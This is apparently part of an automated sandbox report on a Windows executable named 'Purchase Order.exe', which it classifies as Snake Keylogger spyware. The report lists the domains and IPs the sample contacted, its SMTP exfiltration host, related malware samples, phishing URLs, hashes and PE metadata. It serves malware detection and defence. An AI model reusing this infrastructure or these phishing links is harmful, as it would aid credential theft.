http://www.founder.com.cn/cn	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://scratchdreams.tk	Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033CA000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://reallyfreegeoip.org	Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003303000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Purchase Order.exe, 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000000.00000002.1736293448.0000000005C60000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/102.129.152.231$	Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003303000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://scratchdreams.tk	Purchase Order.exe, 00000002.00000002.4124971142.00000000033CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/	Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
208.91.199.224	us2.smtp.mailhostbox.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
104.21.27.85	scratchdreams.tk	United States	13335	CLOUDFLARENETUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1420259
Start date and time:	2024-04-04 16:33:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Purchase Order.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 254 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Purchase Order.exe

Simulations

Behavior and APIs

Time	Type	Description
16:34:03	API Interceptor	11206013x Sleep call for process: Purchase Order.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.67.152	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	23343100IM00270839_Dekont1.exe	Get hash	malicious	Snake Keylogger	Browse
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse
	proforma_Invoice_0009300_74885959969_9876.exe	Get hash	malicious	Snake Keylogger	Browse
	ATM Dekont E-Maili pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	Q88 09284823910.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.8730.30889.exe	Get hash	malicious	Snake Keylogger	Browse
208.91.199.224	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	Dhl 984857.exe	Get hash	malicious	AgentTesla	Browse
	Dhl 0393837.exe	Get hash	malicious	AgentTesla	Browse
	DHL Waybill & Shipping Documents.exe	Get hash	malicious	AgentTesla	Browse
	Quotation - HDPE Fittings.exe	Get hash	malicious	AgentTesla	Browse
	CV Mariana Alvarez.exe	Get hash	malicious	AgentTesla	Browse
	DHL9407155789.exe	Get hash	malicious	AgentTesla	Browse
	FedEx Receipt_239017170.exe	Get hash	malicious	AgentTesla	Browse
	DHL9407155789.exe	Get hash	malicious	AgentTesla	Browse
	H760 MH POTENCIA SUPERIOR.exe	Get hash	malicious	AgentTesla	Browse
104.21.27.85	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse
	FGT5000800000.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	PT98765445670009.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse
	ATM Dekont E-Maili pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	Halkbank_Ekstre_20240312_081829_752731.exe	Get hash	malicious	Snake Keylogger	Browse
	Q88 09284823910.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.1552.3502.exe	Get hash	malicious	Snake Keylogger	Browse
132.226.247.73	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	xdd6BRIg0O.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	checkip.dyndns.org/
	Mquqdysqqv.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.PackedNET.2725.19533.14530.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Vessel Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MT Ramona Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.TrojanX-gen.9014.19757.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.TrojanX-gen.12091.2695.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	lxdriver_setup.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	158.101.44.242
	iCareFone.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	193.122.130.0
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	193.122.6.168
	FGT5000800000.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	132.226.8.169
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	193.122.130.0
	z52OURO08765.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	132.226.8.169
	Quark Browser.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	193.122.130.0
scratchdreams.tk	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.169.18
	FGT5000800000.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.27.85
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.169.18
	z52OURO08765.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.169.18
	PT98765445670009.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
us2.smtp.mailhostbox.com	cgprgRztWc.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	208.91.199.224
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	208.91.198.143
	Dhl 984857.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	Dhl 0393837.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse	208.91.199.225
	SecuriteInfo.com.Win32.TrojanX-gen.27067.30548.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	6P8VytD7wo.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	CV Mariana Alvarez.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	RFQ DM03058 pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.91.198.143
reallyfreegeoip.org	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	FGT5000800000.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.177.134
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	z52OURO08765.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.177.134
	PT98765445670009.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://cloudflare-ipfs.com/ipfs/bafkreic3i3fs3k4jlf22yl27nsvzygbmg4qrugkfu2cq65waif525cpbx4#	Get hash	malicious	HTMLPhisher	Browse	172.67.161.26
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	172.67.217.100
	BoTl06PDGl.exe	Get hash	malicious	FormBook	Browse	104.21.74.5
	https://m.exactag.com/ai.aspx?tc=d9584755bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Ahilanddalry.net%2Ftoro%2F05752%2F%2FYmlsbF9iaWViZXJpdHpAdHJla2Jpa2VzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://futurehvacindia.com/HmF/zJqRTbTA3E8NkEdNG3XSYYpT2CPHqoF9DTsq4XxUrAiFitNdJPZxAsKByKFHL2Bbj7EGed34VRP3gvaoT2ErdEZV8ZcoXh7qUKmkmsJiezE9HjtrHmhzSvnLEPpvK6Khe5ctQxfCrvAgAVcoyVijtR	Get hash	malicious	HTMLPhisher	Browse	104.21.62.23
	copy#10652203.exe	Get hash	malicious	AgentTesla, AsyncRAT, PureLog Stealer	Browse	172.67.74.152
	http://pepjob.com/jobseekers/tools/valuestest.htm	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://lucanew096.trinket.io/sites/html-46b700a5e3hwehwwehtml	Get hash	malicious	Unknown	Browse	104.17.25.14
	8b3ee970a1b172952a665247aa5ff590d12d8f4b33c07.exe	Get hash	malicious	GCleaner, Mars Stealer, Meduza Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	172.67.74.152
UTMEMUS	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	FGT5000800000.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	132.226.8.169
	z52OURO08765.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	132.226.8.169
	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	23343100IM00270839_Dekont1.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	9NdabeH642.elf	Get hash	malicious	Mirai, Moobot	Browse	132.240.147.214
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	xdd6BRIg0O.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	132.226.247.73
	AMM9Xsyg59.elf	Get hash	malicious	Mirai	Browse	128.169.185.82
	Mquqdysqqv.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
PUBLIC-DOMAIN-REGISTRYUS	https://m.exactag.com/ai.aspx?tc=d9584755bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Ahilanddalry.net%2Ftoro%2F05752%2F%2FYmlsbF9iaWViZXJpdHpAdHJla2Jpa2VzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	162.222.227.139
	SHIPPING ADVICE.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249
	INVOICE_FEB-888201-2024.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	mGJWUAE5wa.exe	Get hash	malicious	AgentTesla	Browse	45.113.122.70
	1NJf6k6HU1.exe	Get hash	malicious	AgentTesla	Browse	45.113.122.70
	cgprgRztWc.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	208.91.199.224
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	208.91.198.143
	https://m.exactag.com/ai.aspx?tc=d9985160bc40b07205bbd26a23a8d2e6b6b4f9&url=%68%74%74%70%25%33%41hilanddalry.net%2Ftoro%2F67328%2F%2FYWxla3NhbmRlckBtaWRsYW5kY29tcHV0ZXJzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	162.222.227.139
	PURCHASE ORDER MSM09897.PDF.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.2
CLOUDFLARENETUS	https://cloudflare-ipfs.com/ipfs/bafkreic3i3fs3k4jlf22yl27nsvzygbmg4qrugkfu2cq65waif525cpbx4#	Get hash	malicious	HTMLPhisher	Browse	172.67.161.26
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	172.67.217.100
	BoTl06PDGl.exe	Get hash	malicious	FormBook	Browse	104.21.74.5
	https://m.exactag.com/ai.aspx?tc=d9584755bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Ahilanddalry.net%2Ftoro%2F05752%2F%2FYmlsbF9iaWViZXJpdHpAdHJla2Jpa2VzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://futurehvacindia.com/HmF/zJqRTbTA3E8NkEdNG3XSYYpT2CPHqoF9DTsq4XxUrAiFitNdJPZxAsKByKFHL2Bbj7EGed34VRP3gvaoT2ErdEZV8ZcoXh7qUKmkmsJiezE9HjtrHmhzSvnLEPpvK6Khe5ctQxfCrvAgAVcoyVijtR	Get hash	malicious	HTMLPhisher	Browse	104.21.62.23
	copy#10652203.exe	Get hash	malicious	AgentTesla, AsyncRAT, PureLog Stealer	Browse	172.67.74.152
	http://pepjob.com/jobseekers/tools/valuestest.htm	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://lucanew096.trinket.io/sites/html-46b700a5e3hwehwwehtml	Get hash	malicious	Unknown	Browse	104.17.25.14
	8b3ee970a1b172952a665247aa5ff590d12d8f4b33c07.exe	Get hash	malicious	GCleaner, Mars Stealer, Meduza Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	lxdriver_setup.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	104.21.67.152
	iCareFone.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	104.21.67.152
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	FGT5000800000.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	z52OURO08765.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	Quark Browser.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	copy#10652203.exe	Get hash	malicious	AgentTesla, AsyncRAT, PureLog Stealer	Browse	104.21.27.85
	SHIPPING ADVICE.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	https://held-messages.dariscompany.com/rich.hillyer@dish.com/held-messages	Get hash	malicious	HTMLPhisher	Browse	104.21.27.85
	.scr.exe	Get hash	malicious	RedLine	Browse	104.21.27.85
	mGJWUAE5wa.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	1NJf6k6HU1.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	.scr.exe	Get hash	malicious	RedLine	Browse	104.21.27.85
	Lpym75Agro.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.27.85
	cryptedMYLEL.exe	Get hash	malicious	RedLine	Browse	104.21.27.85
	qe6SYl5IZC.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.94127509116759
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Purchase Order.exe
File size:	529'920 bytes
MD5:	b9f9c9cac777dca7a78819914da1ba15
SHA1:	2369adcf893a14e6b8351edeeb2b6b63147fd157
SHA256:	32aeea1990475960922b9a0bbda5a7edc864a3c70e4b8c5e84b16e269ea6fc7c
SHA512:	987ce8faf0a50e3ee2e68a5f8412c63c6ff02209f696abf9ebc3e130b4f3916ec8f58e1c3655d6fdc50675d1eab2909089f021885ab440bba6d05ea7f609d7a4
SSDEEP:	12288:GWkE8HrebvPyMjBeIlWeR17RiQ2BPHzrl5UH:GZqzPyKBZWeR1v2BPHduH
TLSH:	35B413033BADCB11C3BD5BBA6972453943F2A69A3BF2E34C5F9470D511213809AA5F63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U.................0............."*... ...@....@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x482a22
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB2AFCB55 [Tue Dec 30 12:21:41 2064 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor al, 38h
xor eax, 38483446h
xor al, 47h
dec eax
xor eax, 00003447h
add byte ptr [edx], dh
inc ebx
inc edx
push ebx
aaa
dec eax
xor eax, 00003439h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
